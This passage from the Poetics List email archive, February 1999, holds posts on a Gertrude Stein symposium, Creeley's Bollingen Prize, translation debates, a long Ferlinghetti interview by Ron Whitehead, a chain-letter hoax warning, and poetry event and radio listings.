the postmodern "death of the author"). She cited Lew Welch's undergraduate thesis in which he described Stein's thinking via a distinction between talking and writing. Talking identifies, recognizes, has to do with memory. Writing creates, has to do with forgetting. Stein, here, can be seen as against personality/memory and for the kind of modernist value of an escape from personality as espoused by Eliot in his "Tradition and the Individual Talent." Stein also believed in the separation of 'art and life' whereas a postmodernist like O'Hara preached in his "Personism: A Manifesto" a form of poetry which would dissolve that separation by making the poem lie between two people "lucky pierre style" instead of between two pages. Postmodernism is further characterized by the dissolution of the difference between high art and popular culture, a difference Stein sought to maintain with her aesthetic of the timeless masterpiece, of the artwork as an end in itself, as without "relation" which is "the business of living." "Identity is a great bother," Stein said, exhibiting a rather modern disinterestedness shared by a poet like Mallarme. Then Marjorie said something about the modern being textual while the postmodern is intertextual, that these were the main historical differences between the two along aesthetic lines. All in all she proved her argument with a much-needed swiftness and clarity. * Jacques Roubaud spoke of his introduction to Stein after he told a friend he had grown allergic to Joyce. He quoted some axioms from Stein's HOW TO WRITE: "nouns do not count." "Nouns stop the sentence. That is their crime" "Verbs make mistakes which are wonderful." "Stitches in time save the sentence." "Sentences should never think." "A sentence is an allowance of confusion" "A sentence is not emotional. A paragraph is." He said Stein's poetry moves by "betraying" which I didn't understand. He said poetry is now, "what will have been." (Why? Because now that the present is missing poetry is a now or now must be a now in order to compensate?) * Then Catherine Stimpson spoke of the question of mutability and immutability in Stein, the role of reputation and celebrity in/on her work. She said Stein liked the power of being a star and would have willingly appeared in People magazine if she were alive now. Stimpson said she herself was a lifetime subscriber of People (I forgot to ask if it made her happy). Then she said she was shedding Steinian tears because if you "ask any Harvard grad what they want to do they say create the great American website." I have no idea what this meant. Anyway, she cited William James's "radical empiricism" and his belief that "an intellectual must never exclude" (thereby justifiying her subscription to People). She spoke of Stein's need for the unchanging, the immutable which she found in the natural household of the human mind since the mind "exists not in time" but in a continuous present whereas human nature is a site of change, of memory. This to me sounds wrong (the mind as not memory?) but I won't go into it. Then she brought up the question of the commodification of Stein in talking about some Stein mug that a student gave her. The question-answer session revolved mostly around this question. I raised my hand to ask a question (the one "is Stein still contemporary?") but was not seen perhaps because I was not down in the front. I walked over to the guy who was in charge of the mike and told him I wanted to ask a question. He said okay, but only after Bill Dydo asks his. I said okay and walked back to my seat. Then Bill Dydo gave a long speech about the evils of TV and the unending continuous present of images (i.e. the commonplace fantasies) that barrage us

DAILY, and then when he was done after about 20 minutes the mike man gave the mike to some woman also in the front. After she finished with her question the woman next to her grabbed it and spouted a long statement-question-compliment-pro-Stein salute. I walked down to the front, in my Bavarian Inn restaurant issue busboy uniform with my nametag on which looked very unintellectual and uncollegiate and sat right down next to the mike man. He whispered in my ear that he had to give the mike back to the conference host man from the Wash U. English Dept. but that I could use the mike in the mikestand which was standing unused in the aisle. I nodded politely. Then Mr. English Dept. Man grabbed the mike from the mike busser and said we had to stop and concluded with a string of his own comments and opinions and uber-Stein heils and then asked if anyone else would like to conclude. Finding myself outside this continuous present, this symposium complete unto itself with no gap in its conclusions, I walked away to busboydom and to the quotidian and the contemporary where I was told by these strange people and by my boss I should eternally be.

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

150. Steven Shoemaker

Re: [Fwd: literary criticism]

Fri 12 Feb 1999

Juliana--For crit. that handles large historical arguments well, I'd suggest Jerome McGann. His dialogues are also of particular interest from a writing standpoint. Marjorie Levinson is another good critic of the Romantic period, though pretty knotty. For anthropologists who write like literary critics you might try Clifford Geertz (e.g. Notes on the Balinese Cockfight) or James Clifford (perhaps something from The Predicament of Culture). For excellent use of "fractured argument" I'm sure you probably alread know Susan Howe's Dickinson essay "These Flames & Generosities of the Heart: The Illogic of Sumptuary Values" (quoting the title from memory). That essay wld probably be easier to use in your course than My Emily Dickinson, also excellent. best, steve

On Thu, 11 Feb 1999, juliana spahr wrote:

↑ Index

151. Bob Grumman
The Latest fromComprepoetica
Fri 12 Feb 1999

I've been falling all over myself trying to upgrade my poetics/poetry/ poets site, Comprepoetica, during the past month or so. I now have

(1) a section of weekly poetry commentaries by me with 3 entries so far

(2) a section of irregularly-appearing poetry commentaries by other authors with one entry, by Jack Foley (on E. E. Cummings), but another to be added today (I hope) by Ralph LaCharity, and three more in the wings by Jack (on Ivan Arguelles, Jake Berry and Yeats)

(3) an index to the poets and publications covered in my commentaries

(4) a section (to start today, I hope) devoted to Poets' Statements with one entry, quite otherwordly but fascinating, by Karl Kempton

Thanks to those who have posted encouraging e.mails to me that I haven't answered yet, being totally out of it, but I will!

Visits are up but I hope for a lot more. More important, I hope for more reviews! Only one big rule: QUOTE FROM THE POETRY UNDER REVIEW! I had to reject several of my own micro-reviews (originally for Taproot Reviews) for not doing that. The wonderful thing about web-sites is that's there's almost always room to quote entire poems. Otherwise, just try to be clear. Don't worry about subject-matter: I intend to cover ALL schools of poetry.

Happy Valentine's Day!

--Bob Grumman

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

↑ Index

152. Charles Bernstein
Bollingen Prize in Poetry
Fri 12 Feb 1999

Hear ye, here ye, all of the Poetics List:

I am happy to announce that Robert Creeley has been awarded the 1999 Bollingen Prize in Poetry (which is given every other year). Congratulations, Bob!

Charles Bernstein

↑ Index

153. Anastasios Kozaitis
Whitehead interviews Ferlinghetti
Fri 12 Feb 1999

Ron sent me this today from Iceland. I thought I'd pass it on.
==========

The New King of Poetry
LAWRENCE FERLINGHETTI
Turns 80

> From Reykjavik to San Francisco and Beyond

by Ron Whitehead

(photo)

In 1953 Lawrence Ferlinghetti founded the first paperback bookstore in the United States. In four and a half decades City Lights, the bookstore and publisher, has become mecca for millions, for the world's alternative voices. Ferlinghetti's A CONEY ISLAND OF THE MIND (1958) is the number one best selling volume of poetry by any living Amerikan poet. On March 24, 1999 the reluctant New King Of Poetry turns 80. Poet Writer Editor Publisher Scholar Organizer Ron Whitehead is writing a new biography of Ferlinghetti. Ron's recent conversation with the private Ferlinghetti took place from Reykjavik to San Francisco.

Ron Whitehead: Lawrence I asked you in a letter if you are interested in either A CONEY ISLAND OF THE MIND or A FAR ROCKAWAY OF THE HEART being translated into Old Norse, into Icelandic, and being published here in Iceland in a cooperative project by Bad Taste/Smekkleysa, the main record label, and Bjartur, the main independent publisher.

Lawrence Ferlinghetti: Of course.

RW: Okay. I'll continue to pursue that. I've already spoken with folks here and they are interested. I'll tell them you said "okay" and I'll open the doors for them to write you and communicate directly with you about it. I'm doing the same for Lee Ranaldo and his new book THE MOROCCAN JOURNALS.

LF: Okay.

RW: I love A FAR ROCKAWAY OF THE HEART and consider it to be not only one of your best works but a masterpiece of 20th Century poetry.

LF: Well obviously you're a genius critic.

RW: (laughter from both) I am. I am (more laughter).
What are you doing now? I know you're continuing to write and paint.

LF: I'm not doing anything at the moment except lying on the bed.

RW: Okay (more laughter), do you have any new book releases planned?

LF: Well no. A FAR ROCKAWAY has just been out a year. But I now have enough poems for two books. But New Directions is saying they can't publish that fast. They want maybe one next year. One is a book called THE DIVINE BUTCHER, poems that were spoiled by humor. In other words, humor destroys sublimity in poetry. I'm getting the title from Gregory Corso who said "humor is the divine butcher." He said you can't have a sublime poem if you use a lot of humor.

RW: I don't know if i agree with that.

LF: Well I have some pretty ludicrous poems. I have a serious poem and then I put in this ludicrous image which completely destroys it but it's fun. For the other book I have between thirty and forty poems of non-humorous poems. Well with the usual humor but nothing too devastating.

RW: I've been listening to Allen Ginsberg's HOLY SOUL JELLY ROLL: POEMS AND SONGS 1949-1993. Have you been talking with anyone about a possible CD release?

LF: This Saturday I'm going to be recording for Ryko in Francis Ford Coppola's American Zoetrope Studios which is just a block from the City Lights Bookstore.

RW: Fantastic. Just down the hill.

LF: Yes. The producer is Jim Sampas, Jim Sampas of the Sampas family and the Kerouac Estate.

RW: Yes I've met Jim.

LF: Jim is in his mid 20s I guess. He's a musician. He's coming out Saturday. We're going to record all of A CONEY ISLAND OF THE MIND.

RW: Wonderful! That's good news!

LF: He's got musicians back east he'll have on separate tracks. He's gonna blend their music with my voice tracks.

RW: I guess David Amram's going to be on some of the tracks?

LF: No Jim and Ryko have their own musicians or group that they insisted on. I hope to do something with David Amram sooner or later.

RW: I hope so too. I'm reading an amazing 83-page text David wrote and sent to Sterling Lord and me titled "This Song's For You Jack: Collaborating With Kerouac." I've had the opportunity to read with David several times and he's a wonderful person and an incredible musician.

LF: Yes he is.

RW: You mentioned to me previously that you're working on an autobiography. How's that coming along?

LF: I've given that up for the time being. I've found that it only comes out like Samuel Beckett.

RW: (laughter) So it'll be a short autobiography.

LF: Well, rather.

RW: Part of the problem is that you've done so much.

LF: Baffling and ambiguous is the way I see it.

RW: It would have to be thousands of pages long. We've discussed the possibility of me writing a new Lawrence Ferlinghetti biography.

(photo)

LF: Yeah I know. I wish you'd do it.

RW: Good. I was hoping you'd say that.

LF: But you're on the wrong end of the world there in Iceland.

RW: But I'll be in San Francisco soon. And North Carolina and New York City and France and Italy. I'm getting back on track on the biography. I'll do it. I've already started.

LF: You better hurry up. I'm 80 years old (laughter from both).

RW: I know. But you're as healthy as ever.

LF: Well I work out all the time.

RW: Yeah anybody who sees your photos can tell that. Do you swim every day?

LF: I'm going to the gym in just a few minutes.

RW: In '99 and 2000 I'll be working with folks in The Netherlands, Ireland, and Iceland to produce events. What are your travel plans? I want to invite you to those events.

LF: Since I got appointed Poet Laureate of San Francisco I'm getting invited to too many places.

RW: Congratulations!

LF: I'm receiving invitations in all directions. At the moment I can go to Brazil, Argentina, Columbia, Cuba, France, Italy, Czech Republic. I can't go in all these directions at once. I went to Prague and they want me to come back and have a big art exhibition this spring but I can't. There's so much happening now I have to be here. I'm writing a regular column for THE SAN FRANCISCO CHRONICLE called "Poetry as News." So I have to be here. I may go to Italy in June and if I do I may go to Prague too but I don't think so. Not this year.

RW: I know you went to Prague last year for the Art Forum Exhibition. They celebrated you your life your work.

LF: They built a complete replica of the outside of City Lights Bookstore at their Festival. It was extraordinary. And there was a 72-hour non-stop INSOMNIACATHON reading of my poetry by every poet in town. It was held in a big church in the old town. They had an exhibition of your work and The Literary Renaissance right next to the City Lights Exhibit. Have you been to Prague?

RW: They invited me to the same event but I couldn't make it due to a prior commitment.

LF: You should go! It's fantastic!

RW: Yes. They kept all my work for their archives. I received a long letter afterwards from Karel.

LF: Yes Karel Srp. He's a great guy.

RW: He told me about how the public responded to you. He said it was like a rock concert. When they opened the doors to the Exhibition thousands of people came running straight to your table. He said you signed books all day and way into the night.

(photo)

LF: I wrote a poem called "Rivers of Light" in the middle of the night and by God it was published the next day on the front page of the main daily paper. And it was published translated into the Czech language. That would never happen in the United States.

RW: That's amazing.

LF: It's a long poem. About two pages. So it was fantastic. The town is the most interesting city I've been in for many years. It's medieval yet it's like Paris yet it's like Florence. The castle, Kafka's castle, was the center of the Austro-Hungarian Empire and you really feel it when you go there. That's where President Havel's offices are.

RW: I understand that President Havel was recovering from surgery when you were there but he called and had his limo pick you up and take you to the castle and had his military guard give a multi-gun salute to the poet Lawrence Ferlinghetti. Shifting gears a little let's head south and talk about City Lights Italia. I know it took you years, after many requests, to give the okay for a City Lights to be opened in Europe. You finally gave Marco Cassini approval to open City Lights Italia in Florence, Italy.

LF: The first person who had the idea was Antonio Bertoli, the Director of the avante-garde theatre in Florence, Theatre Studio Scandicci. He and Marco Cassini started City Lights Italia together. There's no financial connection. They came to San Francisco. I had stayed with Antonio in Florence when I performed in his theatre. I ended up staying with him in his farmhouse in the hills above Florence and we got to be really good friends. And Marco was a small publisher in Rome.

RW: Minimum Fax Press.

LF: Yes. Now he's becoming a big publisher and he split up with Antonio. They don't see eye to eye. Like the difference between Florence and Rome. Like the difference between San Francisco and Los Angeles. Marco is very ambitious. He wants to be a big publisher. He's much more commercially minded. Antonio is a theatre director and is not at all interested in commercial ambition. In fact at the City Lights Italia Bookstore in Florence they publish books, separate from Marco, under the imprint of City Lights Italia and no matter what the size of the book they charge the same amount for it. A big thick book, say 200 pages, they charge 1,500 lira. That's a little less than a dollar. If the book is 48 pages they still charge 1,500 lira. So obviously they're going broke. They publish a lot of avant-garde Italian authors and they also publish many City Lights San Francisco authors in translation. City Lights Italia is a great cultural center. There's nothing like it in Florence or in Italy. Most of it is still back in The Renaissance. At the moment it's more of a cultural center than a bookstore cause they don't have the money to get enough books. But it is also a bookstore. It's a great meeting place. They have many wonderful events there. They've been going two and a half years now. Any time you want to read there let me know.

RW: That sounds good. I may go there in the fall.

LF: Well this year they're having a festival in I think early July. Do you have their address?

RW: So I should put letter to the attention of Antonio?

LF: Antonio Bertoli, City Lights Italia, Via San Niccolo, Florence. It's right in the center of town.

RW: What are the plans for City Lights San Francisco? I know you still take an active editorial role. I remember visiting when you were editing the new City

Lights Anthology. You spend at least a couple hours each day there. Is Nancy Peters LF: She's the Managing Director.

RW: She's running the show?

LF: Yes. We're becoming a Foundation. We're going to be The City Lights Non-Profit Foundation. We're trying to buy the building by establishing the foundation and thereby enabling donors to buy the building for us. We've been tenants all these years.

RW: It's a historic site for people round the world.

LF: It's an old building and the owners are very old and they're ready to sell it so we're starting this foundation right now. It's happening this week.

RW: You expressed concern, and I mention this in my poem "San Francisco May 1993," about the influx of Chinese money from Hong Kong buying out the Italians in North Beach.

LF: No I wasn't expressing concern. It was just a statement of fact.

RW: Considering that San Francisco has grown so much do you still like living there? Have you thought about moving?

LF: No the population hasn't grown. There's no room for expansion. The population in the city is still only about 750,000 but it's the outskirts, the suburbs and the outlying territory, that make it up to 3 million and that's what has grown. But the Asian population is 40% of San Francisco now. And another 30% is Hispanic. So the whites are a minority.

RW: That's interesting.

LF: Yes it's a Third World City. And our part of town, North Beach, which used to be solid Italian, is now two thirds Asian all the way to The Bay. But no I'm not going to move.

RW: You had been talking about buying a house. Are you still considering that?

LF: Yes but I can't possibly afford one here.

RW: I've read that San Francisco is the most expensive city in The States.

LF: Yes it is. You can't get a two bedroom house for under five or six hundred thousand.

RW: Wow! I'll just continue visiting San Francisco. Let's see I made $2,400 last year. Yes it's definitely out of my price range.

LF: Yes it's impossible.

RW: I've had the opportunity, which I enjoyed thoroughly, of meeting your son Lorenzo but I haven't met your daughter Julie.

LF: She's in Nashville, Tennessee now.

RW: That's what i remember you saying. Do your children have children?

LF: Julie has a three year old boy, Jonathan. And Lorenzo's wife had a boy a year ago. His name is Leonardo, Leonardo Ferlinghetti. He's a year old.

RW: Do you get to visit your kids and your grandkids often?

LF: Yes. They were here for Christmas. And I go out to Bolinas, where Lorenzo lives, all the time. It's just an hour from here.

RW: John Tytell and I worked for over a year to get you nominated for the Nobel. It's my understanding that once you're nominated you stay in the pool of candidates indefinitely.

LF: Well they must have thousands of names.

RW: I don't know about that. You and Allen Ginsberg worked together for decades. In the eyes of thousands, perhaps millions, you and Allen were are The Kings of Poetry. I heard you say that Allen deserved to receive the Nobel and to be Poet Laureate of the USA.

LF: It's shocking that Allen never got recognized, that he never received a Pulitzer Prize in this country, and that he was never invited to be the Poet of The Library of Congress which is now called Poet Laureate. I think they were afraid of him. It's shocking that the poet who changed the poetic consciousness of several generations of writers, not just in the United States but round the globe, was never officially recognized for his life and his work. Go to Prague, Czech Republic and Italy and Germany and numerous other countries and cities all over the world and see what a huge difference he made.

RW: In the consciousness of the people.

LF: Especially among the poets.

RW: Well do you have anything to say about being nominated for the Nobel or is that something you'd rather not talk about?

LF: I was flabbergasted when John Tytell wrote me that you guys were nominating me. I figure that's pie in the sky.

RW: You never know. My feeling is that if anyone in the world deserves the Nobel for lifetime achievements for their poetry and for the work they've done for poetry round the world that person is you.

LF: I agree with you.

RW: Good. Good.

LF: 100%!

RW: (much laughter from both) I'm glad to hear that (laughter continues)! Chris Felver's new book of photographs of you is beautiful. I've already shown it to many people.

LF: Do you have a copy in Iceland?

RW: Not right in front of me. I loaned it to the Reykjavik Arts Council. I get it back Monday before my lecture on "The Beat Generation & The Process of Writing" at the University of Iceland. Chris is sending me a copy of his documentary film, THE CONEY ISLAND OF LAWRENCE FERLINGHETTI, which Iceland's National Television is going to play. How do you feel about Chris' new book, a book full of remarkable photographs of you?

LF: Well I wrote an introduction to the book. Chris and I have been working together for thirty years. He believes in cinema verite. There are pictures in the book I'm not crazy about but he won't take them out (laughter from both). Same with his film, the documentary on me. It's cinema verite. There are no comments or voice over by himself. Just what the camera eye sees. And then I'm speaking too.

RW: The documentary is beautiful. The book and the documentary show sides of you that the public has never seen. A private, vulnerable, fun loving zen surrealist anarchist poet, a real human being. They are both so honest. Both engage the heart in an emotional way. I really like working with Chris. I respect and admire his work.

LF: Did you get a copy of my Poet Laureate speech?

RW: No I didn't.

LF: It's in the last issue of POETRY FLASH. It's also on the City Lights website at <http://www.citylights.com/>www.citylights.com.

RW: I'll check that out. You've become computerized.

LF: Also the articles I'm writing for the SAN FRANCISCO CHRONICLE will be on our website. I've written two columns so far under the title "Poetry as News." The first column was on Sappho. The second one was on Kapafy. The third column, which I just wrote, is on Bertolt Brecht.

RW: Of those gone from your life who do you miss most?

LF: Everybody seems to be gone or going. People are croaking right and left. It's terrible! At my age ther ain't so many left, including a lot of old girlfriends (laughter from both). They're getting picked off either by some other guy or by Mr. Death himself, the Dead Man in The Sky, The Guy With The Big Sickle. Watch out for Him. One member of The Beats is still left, and he's greater than any of them, and that's Gregory Corso. He's really The Avatar of Pure Poetry, of Pure American Lingo. Ain't nothing like Gregory. He's never derivative of anybody. Gregory is The Greatest! I became associated with The Beats by publishing them. I was not a member of the original group. I'm seven years older than Allen. The other person who is much ignored and underappreciated is Ed Sanders. Ed Sanders is a great poet. He's also a brilliant journalist. He's publishing the WOODSTOCK JOURNAL out of Woodstock, New York. It's a wonderul small town newspaper. Ed Sanders is very educated. He's a great wit. He's like Mark Twain. He even looks like Mark Twain. He wears white suits and he's got the Mark Twain moustache. He's really great yet greatly underestimated and ignored. Those two guys are really all that's left of The Beat Generation. Anne Waldman, who founded The Naropa Institute with Allen, is going strong but she's the younger generation really. And you're a little younger still but you're working to carry the flame forward.

RW: I consider you to be a mentor. How do you feel about the role of mentorship in human relations?

LF: (laughter) Don't follow my advice. I got divorced when I was 40 or so and I'm sorry to hear you're doing the same. Dont' follow my example.

RW: A couple more questions. How many hours do you usually sleep?

LF: Oh I've been sleeping a lot lately. I sleep eight hours.

RW: Lawrence I hope this is the beginning of many more interviews as I turn my attention to your biography.

LF: Yes I wish you'd get to it.

RW: I will. I'll stay in touch and will let you know about the translation of your work into Icelandic. I'm sure there will be celebrations in San Francisco for your 80th Birthday.

LF: I'm going to ignore it.

RW: Ignore the big number 80?

LF: Yes ignore the big number 80. Maybe my family will have a little something.

RW: Well Happy 80th Birthday Lawrence!

LF: Thanks! Good Luck!

Ron Whitehead has studied, published, read with, worked with, and written about Lawrence Ferlinghetti for several years. Ron's new CD, FROM LOUISVILLE TO REYKJAVIK & BEYOND, with his new group Voices Without Restraint, will be released by Iceland's Bad Taste Label in June. His next book, GIMME BACK MY WIG: THE HOUND DOG TAYLOR BLUES, will be released from Ireland's ITaLiCs Press in July. He will be touring the USA and Europe with Voices Without Restraint in '99 and 2000. When not traveling he lives in Kentucky and Iceland.

February, 1999
Reykjavik, Iceland
Louisville, Kentucky
San Francisco, California

↑ Index

154. Jamie Ferguson
Joris and Venuti
Fri 12 Feb 1999

I want to applaud the concreteness and clarity of Pierre Joris' recent post and lament the inexactitude of my own initial statement. I did not mean to say that Mr. Joris had been influenced by Venuti's thesis - which, as he points out, is blatantly anachronistic, only that as a result of Venuti's book, Mr. Joris could state that good translation consists in "making the fact of the translation visible" without feeling that the assertion needed to be explained and/or justified. He could, that is, count on a readership that was familiar with, and sympathetic to, this criterium. And what other source might be posited for this criterium than Venuti? Surely not the example of Holderlin, whose currency in the Anglo-American critical community is, I suspect, rather minimal. (Incidentally, those who, like me, are interested in what Holderlin has done but don't know German, can find a quite detailed account in AFTER BABEL.)

Whatever the relation between Joris and Venuti, I would confirm the usefulness of adding this criterium to the critical vocabulary on translation, but don't feel that Venuti's book provides a solid enough foundation for the new erection. If, as I suspect, this idea has only very recently taken on currency in the Anglo-American discouse on translation, it might be worth trying to look ahead at how its origins might affect its later development. A pro-active geneology might be all the more necessary for the fact that Venuti is no doubt right to say that the opposing criterium is "in the air": there will certainly be attacks (whether reactionary or not) against this point of departure, and any serious critic would begin by going back to the initiation of his or her target. Here I will refer back to my last post (of 8 Feb.) for why I find Venuti inadequate.

As for Mr. Joris' scathing - and quite personal - description of Steiner: Steiner may be all of the things he is accused of, but parts of AFTER BABEL are fundamental to thinking about translation in English, and there are many, many points made there that are not made anywhere else that I know of. I don't think it makes sense to speak about the person or about his general ideas before we have weighed specific examples of his thinking - his thinking on translation, that is: I am not interested in Steiner; I am interested in what he has written about translation.

Jamie Ferguson
Paris

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

155. Poetry Project
this week at the Project
Fri 12 Feb 1999

This week at the Poetry Project:

Monday, Feb.15

Dawn Michelle Baude & Sam Truitt

at 8 pm

Wednesday, Feb. 17

Camille Roy & Kit Robinson

at 8 pm

Friday, Feb. 19

Shamanic Chants/Epic Songs

at 10:30 pm

Traditional Buryat songs, chants, and original poetry by Sayan and Erzhena Zhambolov premiere artists from the Buryat National Theatre in SIberia; Ukranian dumas by singer and bandurist Julian Kytasty; American folksongs by Stephan Smith and more.

Admission is $7, $4, free for members

Call [redacted] for more information

all best wishes!

↑ Index

156. sylvester pollet
Re: re translation
Fri 12 Feb 1999

At 11:40 PM -0800 2/11/99, david bromige wrote:
> Re Pete Neufeld's note concerning dix nuits/nine nights, I recall >that in Sweden, trettondagsafton (thirteenth day's eve) occurs when twelfth >night would be the equivalent festival in england, and this makes me wonder >whether the Beckett tr. of Rimbaud is more a matter of such appelation >rather than any one-for-one violation. Any one know? David

And don't think you're going to have any company dancing in the Paris streets on Bastille Day July 14. The dancing is the eve, July 13. I didn't see the problem with the translation as given--he was clearly imitating the sound, the rhyme of "dix nuits" morphing into the rhyme of "nine nights." Betcha. And while I'm here, if I am, Hooray for Creeley! Sylvester

↑ Index

157. Poetics List
Fwd: Taliban's war on women / hoax
Fri 12 Feb 1999

I had to reformat this one a bit. Chris

---------- Original message (ID=087893E6) (128 lines)

From: [redacted]
Date: Wed, 10 Feb 1999 11:02:42 EST
To: [redacted]
Cc: [redacted]:
Subject: Fwd: PS: [Fwd: Taliban's war on women / hoax]

please read...

joe brennan

Date: Tue, 9 Feb 1999 16:31:04 -0500
Sender: Institute for Psychological Study of the Arts <[redacted]>
From: Norman Holland <[redacted]> Organization: English/University of Florida
Subject: Taliban's war on women / hoax
To: [redacted]

4:56 Hoax warning

You recently received a message containing a petition for better treatment of women in Afghanistan. Unfortunately, the person who started this petition wasn't prepared for the consequences. Due to the enormous number of messages she was receiving, her email account has been blocked. The signatures gathered by this chain-letter will never be collected by anyone.

If you want to help the women of Afghanistan, please visit the following web page: http://www.feminist.org/action/action50.html

The next time you receive a chain letter or virus warning, please check the validity of it's contents before sending it to anyone else. The HoaxKill website (http://www.hoaxkill.com/) contains some information to help you do this. Another good source of information is the Computer Virus Myths page by Rob Rosenberger (http://www.kumite.com/myths/).

If, after visiting these websites, you're still not sure, you can send it to [redacted]. We will then try to verify it for you.

Kind regards,

Jeroen Sikking, Oxcart Software.

PS: Please note that we keep a record of the people we've informed about hoax so you will only receive one message from us.

--part0_918662562_boundary--

↑ Index

158. Poetics List
Re: reply to sender
Fri 12 Feb 1999

Had to reformat this one a bit, too. Chris

---------- Original message (ID=34277E99) (50 lines)

To: UB Poetics discussion group <[redacted]>
From: Mark Weiss <[redacted]>
Subject: Re: reply to sender

Could it be said that the entire impeachment-trial performance has been an example of the oral tradition?

At 03:17 PM 2/9/99 -0800, you wrote:
>FREE THE "PITIFUL THREE"
>

>(a night in which all helicopters are black)
>

↑ Index

159. Poetics List
unfortunately a delay
Fri 12 Feb 1999

All - just received this brief-and-to-the-point message from the technical staff here at UB:

Friday February 12: The Central Email System will be unavailable from midnight tonight until 8:00am Tuesday, February 16.

This covers the whole of the <@acsu.buffalo.edu> domain, which, yes, unfortunately means the Poetics List. While it's likely subscribers can still send messages to the list, I can't guarantee those messages won't be lost. This shutdown evidently marks our transition to the new mailhub, which will involve restoring our Inboxes to their 5 February status.

In other words, it were best to refrain from posting until Tuesday - especially as no messages will go out to subscribers before I can access this account and clean up the mess that will no doubt be left by the repairs. (Not only will the poetics account contain all of the messages from last Saturday, but there will be waiting a copy of every message received since then - i.e. all of the posts and backchannels from this entire week!).

I appreciate everybody's patience with this interruption - it should mean (knock, knock) the list will no longer futz out as it has been doing.

Chris

↑ Index

160. Poetics List
Robert Creeley
Fri 12 Feb 1999

I'll second Sylvester's good cheer. For those of you who haven't heard, Creeley has just been awarded (as of tuesday) the Bollingen Prize in Poetry for 1999 - recognition that's long overdue, imho. The Bollingen is awarded either for a specific book or for "lifetime acheivement in poetry" - both being the case here. Specifically, award was for Life and Death (New Directions) and So There (New Directions); the committee - including Gary Snyder and Carolyn Kizer - said in a joint statement:

As editor, publisher, traveler, teacher, writer, as mind-worker, Robert Creeley has been a seminal figure of the second half of the Twentieth Century. His broad cultural contribution is balanced by an original prosody and stubbornly plain language that makes a Creeley poem instantly recognizable. It manifests a clarity enrighced by indirection, syntactic complications of movement and multiple layers of meaning. 'Stumbling,' as he describes himself, Creeley has remained on the path of epistemological inquiry and poetic experiment

Most of this is quoted from a lovely article in wednesday's Buffalo News:

"I feel extra pleased and honored in that I feel the award is not only to me personally but to the character and the company of the poetry I am most committed to," Creeley said of the work of such fellow poets as Robert Duncan, Charles Olson, Denise Levertov and Allen Ginsberg.
"I always thought of poetry as a team sport."

Chris

↑ Index

161. Herb Levy poetry/radio
Sat 13 Feb 1999

Hi folks,

Tax season began earlier than usual for me, so I'm just getting around to looking at the responses to my query about contemporary poetry on the radio.Thanks for the various suggestions; I'll get back to individuals in a day or two.

Here's a digest of the various programs you all sent to me. In some cases I spiffed the list up a bit using a very handy Web site <http://wmbr.mit.edu/stations/list.html> that lists online sites for thousands of radio stations from all over the world, to get more information than I received from list members.

WKCR 89.9 fm New York - Composed on the Tongue hosted by Jay Barman, Sundays 8:00

WGLT 89 fm Normal, Illinois - Poetry radio short features, Tuesday, Thursday, & Sunday, 10:00 am & pm

KPFA 94.1 fm Berkeley 3:00 pm weedays has shows that focus on literature, Jack Foley's Wednesday slot was particularly recommended

CIUT - 89.5 fm Toronto Howl on Sundays at noon with Steven Humphrey, Nik Beat, & Treela Smith

CBC syndicated program, Writers & Company Sundays 3:08 pm

CJRT fm 91.1 On the Arts

CFRO 102.7 fm Vancouver Gerry Gilbert's radiofreerainforest, Sunday 9:00 pm

WFMU early saturday call in poetry show

KXLU 88.9 fm Los Angeles Echo in the Sense hosted by Christine Palma Saturdays 8 pm

KBOO Portland OR The Talking Earth hosted by Walt Curtis/Barbara Morticella Mondays at 10 pm

Someone wrote about as how from Kelly Writer's House on WXPN, but I couldn't find it listed in their program guide.

Jordan Davis wrote about another NYC program called Anything Goes in the Morning hosted by Irwin Gonshak, but I haven't yet tracked down the station/time.

I can't believe that this is all of the poetry shows in North America, if people know of any more please let me know.

Also, Poetics List people may be interested in the current & forthcoming (Sunday) program I have up on Antenna Internet Radio <http://www.antennaradio.com/avant/mappings/index.htm>. The current show features text-based performance-operas by Robert Ashley, the next show includes a lengthy piece by Sinead Jones (from her collaborative book/CD with list-member cris cheek) & settings of texts by Melody Sumner Carnahan. The Ashley show will be available in the archive through 21 February.

Gotta go.

Herb Levy

[redacted]

↑ Index

162. Ron Silliman
(no subject)
Sat 13 Feb 1999

There's a nice piece on Alan Sondhein and the virtual writers residency in Wired Online:

http://www.wired.com/news/news/culture/story/17879.html

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

163. Judy Smith McDonough
poetrynow
Sun 14 Feb 1999

February's poetrynow is on-line

Judy Smith McDonough, editor
http://www.poetrynow.org

↑ Index

164. Judy Roitman
KS poetics
Sun 14 Feb 1999

The poetics seminar at the university of kansas continues this spring.

Wed. Feb. 17, Judy Roitman, "Buddhism and Contemporary Poetics: The Case of Alan Davies", 5-6:30, Hall Center Conference Room

Wed. March 31, Jonathan Mayhew," Redundancy Revisited: A Problem in Poetic Form", 5-6:30, Hall Center Conference Room

Mon. April 19, Marjorie Perloff, TBA, 1-2:30, Hall Center Conference Room

For more information, see the Hall Center Web page, http://www.ukans.edu/~hallcntr/reading.html#Poetics

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

165. Peter Ganick
interesting new cultural website
Sun 14 Feb 1999

Hello,

I thought you might be interested to know about a popular new website of resources and reviews, covering media / cultural studies / gender / sexuality / identity:
http://www.theory.org.uk

The site attracted over 3,000 unique visitors last week.

The site should be worth a visit if you have interests in any of the following:
* Cultural studies
* Media influences
* Gender & sexuality
* Use of the internet in teaching, learning and communication
* Michel Foucault
* Queer theory, Judith Butler
* Adorno, Gramsci
* 'Role models', identity

As well as information resources and links, the site has an ever-growing number of book reviews, plus our much celebrated interactive multimedia critical theory QUIZ!

Also amusing viewers at the moment is the illustrated tourists' guide to FOUCAULT'S PARIS.

It would be great if you would visit this site, and if you like it, recommend it to students, friends and webmasters.

Thank you very much.

Best wishes,
David Gauntlett

sent by peter ganick
[redacted]

↑ Index

166. Katie Degentesh
9x9x9x9x9x9x9x9x9x9x9x9x9x9
Mon 15 Feb 1999

9X9 INDUSTRIES PRESENTS:

ANOTHER ADOBE READING

STARRING

HUGH STEINBERG, board member of Small Press Traffic and a Wallace Stegner Fellow at Stanford University.

and

